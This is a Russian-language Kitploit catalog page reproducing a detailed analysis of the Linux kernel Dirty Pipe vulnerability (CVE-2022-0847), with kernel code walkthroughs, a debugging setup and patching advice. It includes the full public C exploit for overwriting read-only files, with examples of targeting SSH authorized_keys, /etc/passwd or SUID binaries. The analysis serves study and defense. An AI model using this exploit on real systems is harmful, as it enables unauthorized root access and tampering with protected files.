Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-0847 — Эксплойт proof-of-concept и подробный анализ уязвимости повышения привилегий в ядре Linux CVE-2022-0847 (Dirty Pipe), включая среду Docker для тестирования и отладки. | Kitploit
Инструменты/GitHubGitHub/chenaotian/cve-2022-0847
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

Эксплойт proof-of-concept и подробный анализ уязвимости повышения привилегий в ядре Linux CVE-2022-0847 (Dirty Pipe), включая среду Docker для тестирования и отладки.

Репозиторий
257544 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-0847 Dirty Pipe: анализ повышения привилегий в ядре Linux

[toc]

Статья впервые опубликована в официальном аккаунте Huawei Security; это блог-версия (более полная).

Ссылка на оригинал: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Краткие сведения об уязвимости

Идентификатор уязвимости: CVE-2022-0847 (псевдоним: Dirty Pipe / «грязная труба»)

Поражённый продукт: ядро Linux — системный вызов splice

Затронутые версии: начиная с Linux 5.8, где появился коммит f6dd975583bd, исправлено в 5.16.11, 5.15.25, 5.10.102

Ущерб: позволяет записать не более одной страницы в любой читаемый файл (этого достаточно) и локально повысить привилегии.

Подготовка окружения

Docker-образ для анализа уязвимости: chenaotian/cve-2022-0847 (если он всё ещё недоступен, значит, я ещё не загрузил его).

Предоставляет:

  • скомпилированное уязвимое ядро 5.13 с поддержкой отладки
  • qemu, gdb, исходный код ядра Linux 5.13
  • эксплоит

Запуск:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Отладка:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Принцип уязвимости

Кратко: вызов splice может отправить файл в pipe в режиме «нулевого копирования». На уровне кода такая «нулевая копия» означает, что страница файлового кэша (page cache) напрямую используется как страница buf канала pipe. При этом вводится неинициализированная переменная — из-за этой ошибки страница файлового кэша в дальнейшем обрабатывается как обычная страница кэша pipe, и в неё можно «дописать» данные, изменив её содержимое. Однако в этой ситуации ядро не помечает страницу кэша как «грязную», поэтому она не будет сброшена на диск в ближайшее время (до следующей перезагрузки и т.п.). В течение этого времени все обращения к файлу используют изменённую страницу файлового кэша, что даёт возможность «в течение короткого времени писать произвольные данные в любой читаемый файл». Это позволяет локально повысить привилегии.

Точка возникновения уязвимости

Судя по патчу, уязвимость находится в функции copy_page_to_iter_pipe: был добавлен код инициализации buf->flags. Это классическая ошибка неинициализированной переменной.

image-20220308170149137

Вызов copy_page_to_iter_pipe происходит внутри системного вызова splice. Функция splice (системный вызов) передаёт содержимое файла в канал методом «нулевого копирования». Это производительнее, чем традиционная передача содержимого файла в канал. Подробнее об этом ниже.

Принцип работы pipe и pipe_write

Для начала, раз уж уязвимость называют «грязной трубой», стоит разобраться с каналом (pipe). pipe — это коммуникационный механизм, предоставляемый ядром; он создаётся функциями pipe/pipe2 и возвращает два файловых дескриптора: один для отправки данных, другой для их приёма, как два конца трубы. Подробности использования расписывать не буду.

image-20220309124007780

Кратко о реализации в ядре: обычно пространство кэша pipe имеет общий размер 65536 байт и управляется страницами — всего 16 страниц (по 4096 байт). Страницы не обязательно непрерывны: они управляются через массив и образуют кольцевой список. Поддерживаются два указателя списка: один для записи (pipe->head), другой для чтения (pipe->tail). Здесь в основном разбирается функция pipe_write:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Если текущий канал pipe не пуст (head == tail означает пустой канал), значит в нём есть непрочитанные данные. Берётся указатель head, то есть адрес самой свежей страницы для записи, и проверяются len, offset этой страницы (чтобы найти конец данных). Затем предпринимается попытка дописать данные в текущую страницу.
  2. Проверяется, есть ли у текущей страницы флаг PIPE_BUF_FLAG_CAN_MERGE; если его нет, дописывать в текущую страницу нельзя. Также проверяется, что после дописывания к существующим данным общая длина не превышает одну страницу (то есть запись не пересекает границу страницы). Если пересекает — дописать нельзя.
  3. Если в предыдущую страницу дописать нельзя, берётся новая страница.
  4. alloc_page выделяет новую страницу.
  5. Новая страница помещается в начало массива (может заменить существующую страницу), инициализируются значения.
  6. buf->flag по умолчанию устанавливается в PIPE_BUF_FLAG_CAN_MERGE, потому что по умолчанию странице разрешено дописывание.
  7. Копируются записываемые данные; если скопировано не всё, описанные операции повторяются.

Ключ к эксплуатации — неинициализированный флаг PIPE_BUF_FLAG_CAN_MERGE, оставшийся в splice. Именно он определяет, можно ли дописать данные в «незакрытую» страницу pipe.

От splice до copy_page_to_iter_pipe

Как уже упоминалось, pipe использует 16 страниц в качестве кольцевого кэша. Метод нулевого копирования в splice состоит в том, что страница файлового кэша напрямую подставляется вместо страницы кэша pipe (указатель страницы в pipe меняется на страницу файлового кэша).

image-20220309124515813

Стек вызовов от системного вызова splice до уязвимой функции copy_page_to_iter_pipe очень глубокий; подробно разбирать его не будем. Стек выглядит так:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read по умолчанию generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

Уязвимая функция copy_page_to_iter_pipe в основном делает следующее: она перенаправляет структуру страницы кэша pipe на страницу файлового кэша передаваемого файла:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
	get_page(page);
	buf->page = page;//[2]页指针指向了文件缓存页
	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. Сначала по кольцевой структуре массива страниц pipe находится позиция текущего указателя записи (pipe->head).
  2. Страница, в которую нужно писать, направляется на подготовленную страницу файлового кэша, и задаются остальные параметры, например len, определяемый аргументами системного вызова splice. Единственное, что здесь не инициализируется, — это flags, что и приводит к уязвимости.

Обычно после инициализации pipe->bufs выглядит так:

image-20220308165052936

Теперь, согласно разобранному выше коду pipe_write, если снова вызвать pipe_write для записи данных в pipe, указатель записи (pipe->head) указывает на страницу с рисунка выше, а flags содержит PIPE_BUF_FLAG_CAN_MERGE — значит, можно дописывать в эту страницу, если запись не пересекает границу страницы:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Механизм page cache в ядре Linux

Linux помещает открытые файлы в страницы кэша; после использования такие страницы хранятся некоторое время, чтобы избежать лишних операций ввода-вывода. При повторном обращении к одному и тому же файлу в течение короткого времени используются те же страницы файлового кэша, а не повторное открытие файла. Если мы изменили эту страницу файлового кэша описанным способом, то в течение короткого времени любые операции чтения этого файла будут возвращать изменённую страницу — так уязвимость и эксплуатируется.

Эксплуатация уязвимости

Как уже было сказано, эксплуатация очень проста: достаточно понять принцип уязвимости. По шагам (следуя описанию автора) это выглядит так:

  1. Создать канал.
  2. Заполнить канал целиком (через pipe_write), чтобы все buf (страницы кэша pipe) были инициализированы, а flags по умолчанию получили PIPE_BUF_FLAG_CAN_MERGE.
  3. Освободить канал (через pipe_read), чтобы при передаче файла через splice использовались уже инициализированные структуры buf.
  4. Вызвать splice, чтобы передать в канал файл, который нужно изменить.
  5. Снова записать данные в pipe (через pipe_write) — теперь они перекроют страницу файлового кэша, и временное изменение файла готово.

Детальная отладка

После второго шага, когда канал заполнен и снова опустошён, в структуре bufs видны данные, которые затем будут переиспользованы неинициализированными записями:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

После вызова splice, когда файл передан, структура меняется: flags остаётся неинициализированным. Значение len здесь нужно выставлять как можно меньше, потому что чем оно меньше, тем больше данных мы сможем «дописать» позже. Здесь len = 1, а смещение — стартовый адрес, в который мы хотим писать. При этом указатель pipe->bufs->page направляется на этот стартовый адрес:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

При следующем вызове pipe_write условие дописывания выполняется, и данные дописываются прямо на страницу:

image-20220308174556226

Эксплоит

Не мой, взят из публичного раскрытия уязвимости:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Повышение привилегий работает:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Здесь продемонстрирован эффект записи в произвольный файл. Для реального повышения привилегий можно, например, изменить /etc/passwd, SSH-ключи или некоторые SUID-файлы. Практически это уже не выполняю (я всё равно не занимаюсь пентестом).

Небольшие ограничения (несущественные)

  1. Нельзя изменить размер файла (нельзя сделать его больше).
  2. Длина одной записи не может превышать одну страницу (4 КБ).

Меры по смягчению

Рекомендации

Это уязвимость ядра, поэтому хорошего способа обойти её нет; рекомендуется обновить ядро до исправленных версий: 5.16.11, 5.15.25, 5.10.102 и выше.

Проверка уязвимости (инструмент)

На основе POC, опубликованного автором раскрытия, я написал простой инструмент проверки. Если уязвимость присутствует, выводится «There is CVE-2022-0847»:

image-20220308202244668

Если уязвимости нет, выводится «You are safe!».

Ссылки

Раскрытие уязвимости: https://dirtypipe.cm4all.com/

Теория заговора

Флаг PIPE_BUF_FLAG_CAN_MERGE в коде встречается всего пять раз: один раз в объявлении #define, два раза в pipe_write. Оставшиеся два — в splice:

image-20220308211006312

Кроме того, исходя из кода, где используется эта переменная, её смысл — разрешать или запрещать дописывание в текущую самую свежую страницу кэша pipe. Обычно страница, выделенная самим pipe, — это обычная страница, и дописывание в неё нормально. Когда дописывать нельзя? Тогда, когда страница выделена не самим pipe — такие страницы нельзя менять как угодно. Судя по текущей картине, только в splice и встречаются страницы, не выделенные самим pipe. Иными словами, флаг PIPE_BUF_FLAG_CAN_MERGE был создан именно для splice. И вы хотите сказать, что его не инициализируют?

Поэтому я подозреваю, что эта уязвимость вовсе не небрежность...

Скачать инструмент